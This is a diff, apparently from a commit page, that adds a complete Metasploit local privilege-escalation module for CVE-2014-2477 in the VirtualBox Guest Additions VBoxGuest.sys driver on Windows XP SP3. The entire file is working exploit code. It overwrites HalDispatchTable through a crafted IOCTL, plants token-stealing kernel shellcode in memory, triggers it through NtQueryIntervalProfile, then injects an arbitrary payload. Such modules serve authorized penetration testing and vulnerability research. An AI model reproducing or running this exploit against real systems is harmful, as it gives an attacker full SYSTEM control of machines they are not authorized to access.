|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'msf/core/exploit/local/windows_kernel' |
| 8 | +require 'rex' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Local |
| 11 | + Rank = AverageRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Local::WindowsKernel |
| 14 | + include Msf::Post::File |
| 15 | + include Msf::Post::Windows::FileInfo |
| 16 | + include Msf::Post::Windows::Priv |
| 17 | + include Msf::Post::Windows::Process |
| 18 | + |
| 19 | + def initialize(info={}) |
| 20 | + super(update_info(info, { |
| 21 | + 'Name' => 'VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation', |
| 22 | + 'Description' => %q{ |
| 23 | + A vulnerability within the VBoxGuest driver allows an attacker to inject memory they |
| 24 | + control into an arbitrary location they define. This can be used by an attacker to |
| 25 | + overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling |
| 26 | + NtQueryIntervalProfile on Windows XP SP3 systems. This has been tested with VBoxGuest |
| 27 | + Additions up to 4.3.10r93012. |
| 28 | + }, |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'Author' => |
| 31 | + [ |
| 32 | + 'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC |
| 33 | + 'Jay Smith <jsmith[at]korelogic.com>' # MSF module |
| 34 | + ], |
| 35 | + 'Arch' => ARCH_X86, |
| 36 | + 'Platform' => 'win', |
| 37 | + 'SessionTypes' => [ 'meterpreter' ], |
| 38 | + 'DefaultOptions' => |
| 39 | + { |
| 40 | + 'EXITFUNC' => 'thread', |
| 41 | + }, |
| 42 | + 'Targets' => |
| 43 | + [ |
| 44 | + ['Windows XP SP3', |
| 45 | + { |
| 46 | + 'HaliQuerySystemInfo' => 0x16bba, |
| 47 | + '_KPROCESS' => "\x44", |
| 48 | + '_TOKEN' => "\xc8", |
| 49 | + '_UPID' => "\x84", |
| 50 | + '_APLINKS' => "\x88" |
| 51 | + } |
| 52 | + ] |
| 53 | + ], |
| 54 | + 'References' => |
| 55 | + [ |
| 56 | + ['CVE', '2014-2477'], |
| 57 | + ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt'] |
| 58 | + ], |
| 59 | + 'DisclosureDate'=> 'Jul 15 2014', |
| 60 | + 'DefaultTarget' => 0 |
| 61 | + })) |
| 62 | + |
| 63 | + end |
| 64 | + |
| 65 | + def fill_memory(proc, address, length, content) |
| 66 | + |
| 67 | + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") |
| 68 | + |
| 69 | + if not proc.memory.writable?(address) |
| 70 | + vprint_error("Failed to allocate memory") |
| 71 | + return nil |
| 72 | + else |
| 73 | + vprint_good("#{address} is now writable") |
| 74 | + end |
| 75 | + |
| 76 | + result = proc.memory.write(address, content) |
| 77 | + |
| 78 | + if result.nil? |
| 79 | + vprint_error("Failed to write contents to memory") |
| 80 | + return nil |
| 81 | + else |
| 82 | + vprint_good("Contents successfully written to 0x#{address.to_s(16)}") |
| 83 | + end |
| 84 | + |
| 85 | + return address |
| 86 | + end |
| 87 | + |
| 88 | + def check |
| 89 | + if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ |
| 90 | + return Exploit::CheckCode::Safe |
| 91 | + end |
| 92 | + |
| 93 | + handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') |
| 94 | + if handle.nil? |
| 95 | + return Exploit::CheckCode::Safe |
| 96 | + end |
| 97 | + session.railgun.kernel32.CloseHandle(handle) |
| 98 | + |
| 99 | + os = sysinfo["OS"] |
| 100 | + unless (os =~ /windows xp.*service pack 3/i) |
| 101 | + return Exploit::CheckCode::Safe |
| 102 | + end |
| 103 | + |
| 104 | + file_path = expand_path("%windir%") << "\\system32\\drivers\\vboxguest.sys" |
| 105 | + unless file?(file_path) |
| 106 | + return Exploit::CheckCode::Unknown |
| 107 | + end |
| 108 | + |
| 109 | + major, minor, build, revision, branch = file_version(file_path) |
| 110 | + vprint_status("vboxguest.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") |
| 111 | + |
| 112 | + unless (major == 4) |
| 113 | + return Exploit::CheckCode::Safe |
| 114 | + end |
| 115 | + |
| 116 | + case minor |
| 117 | + when 0 |
| 118 | + return Exploit::CheckCode::Vulnerable if build < 26 |
| 119 | + when 1 |
| 120 | + return Exploit::CheckCode::Vulnerable if build < 34 |
| 121 | + when 2 |
| 122 | + return Exploit::CheckCode::Vulnerable if build < 26 |
| 123 | + when 3 |
| 124 | + return Exploit::CheckCode::Vulnerable if build < 12 |
| 125 | + end |
| 126 | + |
| 127 | + return Exploit::CheckCode::Safe |
| 128 | + end |
| 129 | + |
| 130 | + def exploit |
| 131 | + if is_system? |
| 132 | + fail_with(Exploit::Failure::None, 'Session is already elevated') |
| 133 | + end |
| 134 | + |
| 135 | + if sysinfo["Architecture"] =~ /wow64/i |
| 136 | + fail_with(Failure::NoTarget, "Running against WOW64 is not supported") |
| 137 | + elsif sysinfo["Architecture"] =~ /x64/ |
| 138 | + fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") |
| 139 | + end |
| 140 | + |
| 141 | + unless check == Exploit::CheckCode::Vulnerable |
| 142 | + fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") |
| 143 | + end |
| 144 | + |
| 145 | + handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') |
| 146 | + if handle.nil? |
| 147 | + fail_with(Failure::NoTarget, "Unable to open \\\\.\\vboxguest device") |
| 148 | + end |
| 149 | + |
| 150 | + print_status("Disclosing the HalDispatchTable address...") |
| 151 | + hal_dispatch_table = find_haldispatchtable |
| 152 | + if hal_dispatch_table.nil? |
| 153 | + session.railgun.kernel32.CloseHandle(handle) |
| 154 | + fail_with(Failure::Unknown, "Filed to disclose HalDispatchTable") |
| 155 | + else |
| 156 | + print_good("Address successfully disclosed.") |
| 157 | + end |
| 158 | + |
| 159 | + print_status('Getting the hal.dll base address...') |
| 160 | + hal_info = find_sys_base('hal.dll') |
| 161 | + fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil? |
| 162 | + |
| 163 | + hal_base = hal_info[0] |
| 164 | + print_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}") |
| 165 | + hali_query_system_information = hal_base + target['HaliQuerySystemInfo'] |
| 166 | + |
| 167 | + print_status("Storing the shellcode in memory...") |
| 168 | + this_proc = session.sys.process.open |
| 169 | + |
| 170 | + restore_ptrs = "\x31\xc0" # xor eax, eax |
| 171 | + restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation |
| 172 | + restore_ptrs << "\xa3" + [hal_dispatch_table + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax |
| 173 | + |
| 174 | + kernel_shell = token_stealing_shellcode(target) |
| 175 | + kernel_shell_address = 0x1 |
| 176 | + |
| 177 | + buf = "\x90" * 0x6000 |
| 178 | + buf[0, 56] = "\x50\x00\x00\x00" * 14 |
| 179 | + buf[0x5000, kernel_shell.length] = restore_ptrs + kernel_shell |
| 180 | + |
| 181 | + result = fill_memory(this_proc, kernel_shell_address, buf.length, buf) |
| 182 | + if result.nil? |
| 183 | + session.railgun.kernel32.CloseHandle(handle) |
| 184 | + fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") |
| 185 | + else |
| 186 | + print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") |
| 187 | + end |
| 188 | + |
| 189 | + print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") |
| 190 | + session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a040, 0x1, 140, hal_dispatch_table + 0x4 - 40, 0) |
| 191 | + session.railgun.kernel32.CloseHandle(handle) |
| 192 | + |
| 193 | + print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") |
| 194 | + session.railgun.ntdll.NtQueryIntervalProfile(2, 4) |
| 195 | + |
| 196 | + print_status("Checking privileges after exploitation...") |
| 197 | + |
| 198 | + unless is_system? |
| 199 | + fail_with(Failure::Unknown, "The exploitation wasn't successful") |
| 200 | + else |
| 201 | + print_good("Exploitation successful!") |
| 202 | + end |
| 203 | + |
| 204 | + p = payload.encoded |
| 205 | + print_status("Injecting #{p.length.to_s} bytes to memory and executing it...") |
| 206 | + if execute_shellcode(p) |
| 207 | + print_good("Enjoy") |
| 208 | + else |
| 209 | + fail_with(Failure::Unknown, "Error while executing the payload") |
| 210 | + end |
| 211 | + |
| 212 | + end |
| 213 | + |
| 214 | +end |
| 215 | + |
0 commit comments